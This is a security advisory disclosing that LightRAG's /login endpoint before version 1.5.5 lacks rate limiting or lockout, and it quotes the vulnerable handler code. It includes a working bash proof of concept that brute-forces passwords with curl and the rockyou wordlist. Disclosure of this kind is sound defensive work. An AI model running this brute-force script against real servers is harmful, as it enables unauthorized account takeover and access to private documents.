LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, the POST /login endpoint in lightrag/api/lightrag_server.py does not impose a rate limit, account lockout, delay, or counter for failed authentication attempts. A network attacker can submit password guesses at full request speed until a valid account password is found. Successful credential recovery grants authenticated access to documents, the knowledge graph, and administrative operations. This issue is fixed in version 1.5.5.

Affected: PyPI: lightrag-hku

### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

### Details

```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ```

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

### PoC

```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ```

### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.